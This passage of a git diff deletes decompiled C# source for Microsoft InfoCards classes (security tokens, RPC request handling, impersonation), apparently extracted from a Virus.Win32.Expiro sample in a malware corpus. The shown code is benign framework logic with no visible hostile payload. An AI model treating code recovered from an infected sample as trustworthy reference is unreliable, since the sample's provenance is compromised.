displayCulture) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - return (RequestSecurityToken) new RequestSecurityTokenForRemoteTokenFactory(new RequestSecurityTokenParameters(version, card, policy, discloseOptional, val, this.m_disclosedClaims, "ProcessRequestSecurityToken", clientEntropyForSymmetric, displayCulture)); - } - - private void GetKeyIdentifierClauses( - GenericXmlSecurityToken tok, - ProtocolProfile profile, - out string internalTokenReference, - out string externalTokenReference) - { - if (tok.InternalTokenReference != null) - { - if (tok.ExternalTokenReference != null) - { - try - { - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.InternalTokenReference); - w.Flush(); - internalTokenReference = w.GetStringBuilder().ToString(); - } - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.ExternalTokenReference); - w.Flush(); - externalTokenReference = w.GetStringBuilder().ToString(); - return; - } - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"), (Exception) ex)); - } - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"))); - } - - private void EnsureSelfIssuedCardHasLedgerEntryForIssuer( - InfoCard card, - X509Certificate2 issuerCert, - string recipientId, - string recipientOrgId, - Recipient.RecipientCertParameters recipientParams, - string immediateTokenRecipientOrganizationIdentifier) - { - LedgerEntryCollection ledger = card.GetLedger(); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - ledger.Get(connection); - if (!ledger.ContainsKey(recipientId)) - { - connection.BeginTransaction(); - try - { - InfoCardMasterKey masterKey = card.GetMasterKey(connection); - if (card.IsPinProtected) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(card.Pin), "Should not be null here"); - masterKey.Decrypt(masterKey.GetPinHelper(card.Pin)); - } - Recipient recipient = new Recipient(issuerCert, recipientId, recipientOrgId, false, 0U, recipientParams); - recipient.Save(connection); - LedgerEntry entry = LedgerEntry.NewLedgerEntry(card.Id, recipient, card.Key, immediateTokenRecipientOrganizationIdentifier); - ledger.Add(entry); - entry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - else - InfoCardTrace.Assert(immediateTokenRecipientOrganizationIdentifier == recipientOrgId, "For the self issued case the RP should be same as token recipient"); - } - finally - { - connection.Close(); - } - } - - private void FillOutDisplayToken(InfoCard card, DisplayToken displayToken) - { - if (displayToken.ClaimList == null) - return; - InfoCardClaimCollection claims = card.GetClaims(); - foreach (DisplayClaim claim in displayToken.ClaimList) - { - if (string.IsNullOrEmpty(claim.Name)) - { - string str = (string) null; - string id = claim.Id; - if (!string.IsNullOrEmpty(claim.Id)) - { - if (claims.ContainsKey(id)) - str = claims[id].DisplayTag; - if (string.IsNullOrEmpty(str)) - str = id; - } - else - str = SR.GetString("ServiceDisplayTokenNoClaimName"); - claim.Name = str; - } - } - } - - private bool IsEncryptedXml(XmlElement content) => "EncryptedData" == content.LocalName && "http://www.w3.org/2001/04/xmlenc#" == content.NamespaceURI; - - [ServiceContract(Name = "RequestBrowserToken", Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity")] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs deleted file mode 100644 index 83cfa3d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509AsymmetricSecurityKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509AsymmetricSecurityKey : X509AsymmetricSecurityKey, IDisposable - { - private X509Certificate2 m_cert; - private object m_sync; - private bool m_disposed; - - public RemoteX509AsymmetricSecurityKey(X509Certificate2 cert) - : base(cert) - { - this.m_cert = cert; - if (!(this.m_cert.PrivateKey is RemoteCryptoRsaServiceProvider)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - this.m_sync = new object(); - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetAsymmetricAlgorithm(algorithmUri, privateKey) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetSignatureDeformatter(algorithmUri) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - if (!this.IsSupportedAlgorithm(algorithmUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - RemoteAsymmetricSignatureFormatter signatureFormatter = new RemoteAsymmetricSignatureFormatter(); - signatureFormatter.SetKey(this.m_cert.PrivateKey); - return (AsymmetricSignatureFormatter) signatureFormatter; - } - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return base.IsSupportedAlgorithm(algorithmUri); - default: - return false; - } - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - this.m_cert.PrivateKey?.Dispose(); - this.m_cert.PublicKey.Key?.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509Token.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509Token.cs deleted file mode 100644 index 1926bdd8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteX509Token.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509Token -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509Token : X509SecurityToken - { - private List m_keys; - private object m_sync; - private bool m_disposed; - - public RemoteX509Token(X509Certificate2 cert) - : base(cert) - { - this.m_keys = new List(1); - this.m_keys.Add((SecurityKey) new RemoteX509AsymmetricSecurityKey(cert)); - this.m_sync = new object(); - } - - public override ReadOnlyCollection SecurityKeys => this.m_keys.AsReadOnly(); - - public override void Dispose() - { - try - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - foreach (SecurityKey key in this.m_keys) - { - if (key is IDisposable disposable) - disposable.Dispose(); - } - } - } - finally - { - base.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Request.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Request.cs deleted file mode 100644 index 65ea7db3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Request.cs +++ /dev/null @@ -1,292 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Request -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; -using System.Net; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class Request : IDisposable - { - private static Request.RequestHandleDictionary s_existingClientRequests = new Request.RequestHandleDictionary(); - private static ExceptionTranslationTable s_exceptionToHResultTable = ExceptionTranslationTable.Instance; - private Stream m_inArgs; - private Stream m_outArgs; - private int m_requestHandle; - private static object s_syncRoot = new object(); - private IWebProxy m_proxy; - private object m_syncRoot; - private IntPtr m_rpcHandle; - private Exception m_processingException; - private ExceptionList m_recoverableExceptions; - private WindowsImpersonationContext m_impersonationContext; - private int m_initHResult; - private string m_extendedErrorMessage; - private int m_lcid = -1; - - protected Request( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - { - this.m_inArgs = inArgs; - this.m_outArgs = outArgs; - this.m_rpcHandle = rpcHandle; - this.m_recoverableExceptions = recoverableExceptions; - this.m_syncRoot = new object(); - this.m_initHResult = 0; - this.InsertThisRequestIntoDictionary(); - } - - public Exception ProcessingException - { - get => this.m_processingException; - set => this.m_processingException = value; - } - - public IWebProxy UserProxy - { - get - { - if (this.m_proxy == null) - this.m_proxy = WebRequest.GetSystemWebProxy(); - return this.m_proxy; - } - } - - public int UserLanguage - { - get - { - InfoCardTrace.Assert(this.m_lcid >= 0, " The user language has not been set in the service"); - return this.m_lcid; - } - set => this.m_lcid = value; - } - - protected Stream InArgs => this.m_inArgs; - - public Stream OutArgs => this.m_outArgs; - - protected object SyncRoot => this.m_syncRoot; - - protected IntPtr RpcHandle => this.m_rpcHandle; - - public int RequestHandle => this.m_requestHandle; - - public abstract WindowsIdentity RequestorIdentity { get; } - - internal void Initialize() - { - try - { - this.OnInitializeAsSystem(); - this.ImpersonateRequestor(); - this.OnInitializeAsUser(); - } - catch (Exception ex) - { - this.m_initHResult = this.HandleException(ex, true); - } - } - - private void ImpersonateRequestor() - { - InfoCardTrace.Assert(null != this.RequestorIdentity, "RequestorIdentity can not be null, the derived class should have populated this on initialize"); - this.m_impersonationContext = !this.RequestorIdentity.IsSystem ? this.RequestorIdentity.Impersonate() : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - } - - private int GetHResultFromException(Exception e) - { - int hresultFromException = 0; - Type type = e.GetType(); - if (Request.s_exceptionToHResultTable.ContainsKey(type)) - hresultFromException = Request.s_exceptionToHResultTable[type]; - else if (e is Win32Exception) - hresultFromException = ((Win32Exception) e).NativeErrorCode; - else - InfoCardService.Crash(e); - return hresultFromException; - } - - protected int HandleException(Exception e) => this.HandleException(e, false); - - protected int HandleException(Exception e, bool isInitializing) - { - int errorCode = 0; - if (InfoCardTrace.IsFatal(e)) - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - Exception exception = !(e is InfoCardRequestException) ? e : e.InnerException; - if (isInitializing || !this.OnHandleException(exception, out errorCode)) - { - if (exception is InfoCardBaseException) - { - errorCode = ((InfoCardBaseException) exception).NativeHResult; - this.m_extendedErrorMessage = ((InfoCardBaseException) exception).ExtendedMessage; - } - else if (this.m_recoverableExceptions == ExceptionList.AllNonFatal) - { - CommunicationException e1 = new CommunicationException(SR.GetString("ClientAPIInfocardError"), exception); - InfoCardTrace.TraceAndLogException((Exception) e1); - errorCode = e1.NativeHResult; - } - else if (this.m_recoverableExceptions.Contains(exception.GetType())) - { - errorCode = this.GetHResultFromException(exception); - } - else - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - } - return errorCode; - } - - protected virtual void PreProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnMarshalInArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - if (this.InArgs.Position != this.InArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidDataInRequest"))); - this.InArgs.Close(); - } - - protected virtual void PostProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OutArgs.Flush(); - this.OnMarshalOutArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - protected virtual void ProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnProcess(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - public int DoProcessRequest(out string extendedMessage) - { - int num = this.m_initHResult; - if (num == 0) - { - try - { - this.PreProcessRequest(); - this.ProcessRequest(); - this.PostProcessRequest(); - } - catch (Exception ex) - { - num = this.HandleException(ex); - } - } - extendedMessage = this.m_extendedErrorMessage; - return num; - } - - public static Request FindRequestByHandle(int requestHandle) - { - lock (Request.s_syncRoot) - return Request.s_existingClientRequests[requestHandle]; - } - - public void Dispose() - { - this.OnDisposeAsUser(); - if (this.m_impersonationContext != null) - { - this.m_impersonationContext.Undo(); - this.m_impersonationContext = (WindowsImpersonationContext) null; - } - this.OnDisposeAsSystem(); - this.RemoveThisRequestFromDictionary(); - GC.SuppressFinalize((object) this); - } - - protected virtual void OnInitializeAsSystem() - { - } - - protected virtual void OnInitializeAsUser() - { - } - - protected virtual void OnDisposeAsUser() - { - } - - protected abstract void OnMarshalInArgs(); - - protected abstract void OnProcess(); - - protected abstract void OnMarshalOutArgs(); - - protected virtual void OnDisposeAsSystem() - { - } - - protected virtual bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - return false; - } - - private void InsertThisRequestIntoDictionary() - { - lock (Request.s_syncRoot) - { - int newHandle; - try - { - newHandle = Request.s_existingClientRequests.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientRequests"), (Exception) ex)); - } - this.m_requestHandle = newHandle; - Request.s_existingClientRequests[this.m_requestHandle] = this; - } - } - - private void RemoveThisRequestFromDictionary() - { - lock (Request.s_syncRoot) - Request.s_existingClientRequests.Remove(this.m_requestHandle); - } - - private class RequestHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestFactory.cs deleted file mode 100644 index 10351579..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestFactory.cs +++ /dev/null @@ -1,483 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RequestFactory - { - private const int MaxRequestBlobSize = 20971520; - private static readonly RequestFactory.RequestName[] s_uiClientRequests = new RequestFactory.RequestName[4] - { - RequestFactory.RequestName.GetBrowserTokenRequest, - RequestFactory.RequestName.GetTokenRequest, - RequestFactory.RequestName.ImportRequest, - RequestFactory.RequestName.ManageRequest - }; - private static object s_createRequestSync = new object(); - private static Dictionary s_requestMap = new Dictionary(54); - - private RequestFactory() - { - } - - static RequestFactory() - { - RequestFactory.s_requestMap["CloseCryptoHandleRequest"] = RequestFactory.RequestName.CloseCryptoHandleRequest; - RequestFactory.s_requestMap["DecryptRequest"] = RequestFactory.RequestName.DecryptRequest; - RequestFactory.s_requestMap["EncryptRequest"] = RequestFactory.RequestName.EncryptRequest; - RequestFactory.s_requestMap["GenerateDerivedKeyRequest"] = RequestFactory.RequestName.GenerateDerivedKeyRequest; - RequestFactory.s_requestMap["GetBrowserTokenRequest"] = RequestFactory.RequestName.GetBrowserTokenRequest; - RequestFactory.s_requestMap["GetCryptoTransformRequest"] = RequestFactory.RequestName.GetCryptoTransformRequest; - RequestFactory.s_requestMap["GetKeyedHashRequest"] = RequestFactory.RequestName.GetKeyedHashRequest; - RequestFactory.s_requestMap["GetTokenRequest"] = RequestFactory.RequestName.GetTokenRequest; - RequestFactory.s_requestMap["HashCoreRequest"] = RequestFactory.RequestName.HashCoreRequest; - RequestFactory.s_requestMap["HashFinalRequest"] = RequestFactory.RequestName.HashFinalRequest; - RequestFactory.s_requestMap["ImportRequest"] = RequestFactory.RequestName.ImportRequest; - RequestFactory.s_requestMap["ManageRequest"] = RequestFactory.RequestName.ManageRequest; - RequestFactory.s_requestMap["SignHashRequest"] = RequestFactory.RequestName.SignHashRequest; - RequestFactory.s_requestMap["TransformBlockRequest"] = RequestFactory.RequestName.TransformBlockRequest; - RequestFactory.s_requestMap["TransformFinalBlockRequest"] = RequestFactory.RequestName.TransformFinalBlockRequest; - RequestFactory.s_requestMap["VerifyHashRequest"] = RequestFactory.RequestName.VerifyHashRequest; - RequestFactory.s_requestMap["BeginCreateSecurityTokenRequest"] = RequestFactory.RequestName.BeginCreateSecurityTokenRequest; - RequestFactory.s_requestMap["BeginSelectCardRequest"] = RequestFactory.RequestName.BeginSelectCardRequest; - RequestFactory.s_requestMap["CancelAsyncOperationRequest"] = RequestFactory.RequestName.CancelAsyncOperationRequest; - RequestFactory.s_requestMap["CheckStoreFileValidityRequest"] = RequestFactory.RequestName.CheckStoreFileValidityRequest; - RequestFactory.s_requestMap["CreateCardRequest"] = RequestFactory.RequestName.CreateCardRequest; - RequestFactory.s_requestMap["DeleteCardRequest"] = RequestFactory.RequestName.DeleteCardRequest; - RequestFactory.s_requestMap["DeleteStoreRequest"] = RequestFactory.RequestName.DeleteStoreRequest; - RequestFactory.s_requestMap["EndCreateSecurityTokenRequest"] = RequestFactory.RequestName.EndCreateSecurityTokenRequest; - RequestFactory.s_requestMap["EndSelectCardRequest"] = RequestFactory.RequestName.EndSelectCardRequest; - RequestFactory.s_requestMap["ExportFileRequest"] = RequestFactory.RequestName.ExportFileRequest; - RequestFactory.s_requestMap["GetCertificateRequest"] = RequestFactory.RequestName.GetCertificateRequest; - RequestFactory.s_requestMap["GetImportedCardRequest"] = RequestFactory.RequestName.GetImportedCardRequest; - RequestFactory.s_requestMap["GetImportFileNameRequest"] = RequestFactory.RequestName.GetImportFileNameRequest; - RequestFactory.s_requestMap["GetLedgerEntryForRecipientRequest"] = RequestFactory.RequestName.GetLedgerEntryForRecipientRequest; - RequestFactory.s_requestMap["GetLedgerRequest"] = RequestFactory.RequestName.GetLedgerRequest; - RequestFactory.s_requestMap["GetPolicyDetailsRequest"] = RequestFactory.RequestName.GetPolicyDetailsRequest; - RequestFactory.s_requestMap["GetRecipientListRequest"] = RequestFactory.RequestName.GetRecipientListRequest; - RequestFactory.s_requestMap["GetRecipientRequest"] = RequestFactory.RequestName.GetRecipientRequest; - RequestFactory.s_requestMap["GetUserPreferenceRequest"] = RequestFactory.RequestName.GetUserPreferenceRequest; - RequestFactory.s_requestMap["ImportFileRequest"] = RequestFactory.RequestName.ImportFileRequest; - RequestFactory.s_requestMap["InfoCardListRequest"] = RequestFactory.RequestName.InfoCardListRequest; - RequestFactory.s_requestMap["ListCardsInFileRequest"] = RequestFactory.RequestName.ListCardsInFileRequest; - RequestFactory.s_requestMap["QueryStoreStatusRequest"] = RequestFactory.RequestName.QueryStoreStatusRequest; - RequestFactory.s_requestMap["ResolvePPIDRequest"] = RequestFactory.RequestName.ResolvePPIDRequest; - RequestFactory.s_requestMap["SaveCardRequest"] = RequestFactory.RequestName.SaveCardRequest; - RequestFactory.s_requestMap["SaveLedgerEntryRequest"] = RequestFactory.RequestName.SaveLedgerEntryRequest; - RequestFactory.s_requestMap["SaveRecipientRequest"] = RequestFactory.RequestName.SaveRecipientRequest; - RequestFactory.s_requestMap["SendAgentStatusRequest"] = RequestFactory.RequestName.SendAgentStatusRequest; - RequestFactory.s_requestMap["SetUserPreferenceRequest"] = RequestFactory.RequestName.SetUserPreferenceRequest; - RequestFactory.s_requestMap["BeginGetFileNameFromUserRequest"] = RequestFactory.RequestName.BeginGetFileNameFromUserRequest; - RequestFactory.s_requestMap["EndGetFileNameFromUserRequest"] = RequestFactory.RequestName.EndGetFileNameFromUserRequest; - RequestFactory.s_requestMap["UIEndRequest"] = RequestFactory.RequestName.UIEndRequest; - RequestFactory.s_requestMap["ListDependantCardsRequest"] = RequestFactory.RequestName.ListDependantCardsRequest; - RequestFactory.s_requestMap["GetLastErrorDetailsRequest"] = RequestFactory.RequestName.GetLastErrorDetailsRequest; - RequestFactory.s_requestMap["GetIsBrowserClientRequest"] = RequestFactory.RequestName.GetIsBrowserClientRequest; - RequestFactory.s_requestMap["SetUserLanguageRequest"] = RequestFactory.RequestName.SetUserLanguageRequest; - RequestFactory.s_requestMap["GetCardDetailsRequest"] = RequestFactory.RequestName.GetCardDetailsRequest; - RequestFactory.s_requestMap["UnlockCardRequest"] = RequestFactory.RequestName.UnlockCardRequest; - } - - internal static int ProcessNewRequest( - int parentRequestHandle, - IntPtr rpcHandle, - IntPtr inArgs, - out IntPtr outArgs) - { - InfoCardTrace.Assert(null == WindowsIdentity.GetCurrent(true), "unexpected user context on incoming thread"); - int num = 0; - outArgs = IntPtr.Zero; - if (IntPtr.Zero == inArgs) - return -1073413888; - if (IntPtr.Zero == rpcHandle) - return -1073413888; - try - { - RpcRequest structure = (RpcRequest) Marshal.PtrToStructure(inArgs, typeof (RpcRequest)); - if (structure.Length < 0 || structure.Length > 20971520 || structure.Type == null || structure.Length > 0 && IntPtr.Zero == structure.Data) - return -1073413888; - Stream inStream; - if (structure.Length != 0) - { - byte[] numArray = new byte[structure.Length]; - Marshal.Copy(structure.Data, numArray, 0, structure.Length); - inStream = (Stream) new MemoryStream(numArray, 0, numArray.Length, false, false); - } - else - inStream = (Stream) new MemoryStream(); - MemoryStream memoryStream = new MemoryStream(); - if (parentRequestHandle == 0) - { - using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) - { - using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - num = clientRequestInstance.DoProcessRequest(out string _); - RpcResponse outArgs1; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs1); - outArgs = outArgs1.Marshal(); - } - } - } - else - { - ClientUIRequest requestByHandle = (ClientUIRequest) Request.FindRequestByHandle(parentRequestHandle); - InfoCardTrace.Assert(null != requestByHandle, "ParentRequest is null"); - using (UIAgentRequest agentRequestInstance = RequestFactory.CreateUIAgentRequestInstance(requestByHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - string extendedMessage; - num = agentRequestInstance.DoProcessRequest(out extendedMessage); - if (num != 0) - Utility.SerializeString(new BinaryWriter((Stream) memoryStream, Encoding.Unicode), extendedMessage); - RpcResponse outArgs2; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs2); - outArgs = outArgs2.Marshal(); - } - } - } - catch (TargetInvocationException ex) - { - if (ex.InnerException != null && ex.InnerException is InfoCardBaseException) - num = ((InfoCardBaseException) ex.InnerException).NativeHResult; - else - InfoCardService.Crash((Exception) ex); - } - catch (InfoCardBaseException ex) - { - num = ex.NativeHResult; - } - catch (OutOfMemoryException ex) - { - num = -2147024882; - } - catch (EndOfStreamException ex) - { - num = -1073413863; - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - InfoCardService.Crash(ex); - } - return num; - } - - private static void ConvertStreamToIntPtr(MemoryStream outStream, out RpcResponse outArgs) - { - byte[] buffer = outStream.GetBuffer(); - outArgs = new RpcResponse(); - outArgs.Length = 0; - outArgs.Data = IntPtr.Zero; - if (buffer == null || buffer.Length == 0) - return; - IntPtr destination = Marshal.AllocHGlobal(buffer.Length); - Marshal.Copy(buffer, 0, destination, buffer.Length); - outArgs.Data = destination; - outArgs.Length = buffer.Length; - } - - private static ClientRequest CreateClientRequestInstance( - UIAgentMonitorHandle monitorHandle, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - ClientRequest clientRequestInstance = (ClientRequest) null; - lock (RequestFactory.s_createRequestSync) - { - if (string.IsNullOrEmpty(reqName)) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - RequestFactory.RequestName requestName = RequestFactory.s_requestMap.ContainsKey(reqName) ? RequestFactory.s_requestMap[reqName] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - if (-1 != Array.IndexOf(RequestFactory.s_uiClientRequests, requestName)) - { - Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true); - InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof (rpcHandle)); - int tSSession = 0; - if (!NativeMethods.ProcessIdToSessionId(contextMapping.Id, out tSSession)) - { - int lastWin32Error = Marshal.GetLastWin32Error(); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceErrorGettingClientTSSession"), (Exception) new Win32Exception(lastWin32Error))); - } - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping); - InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.GetBrowserTokenRequest: - clientRequestInstance = (ClientRequest) new GetBrowserTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetTokenRequest: - clientRequestInstance = (ClientRequest) new GetTokenRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.ImportRequest: - clientRequestInstance = (ClientRequest) new ImportRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - case 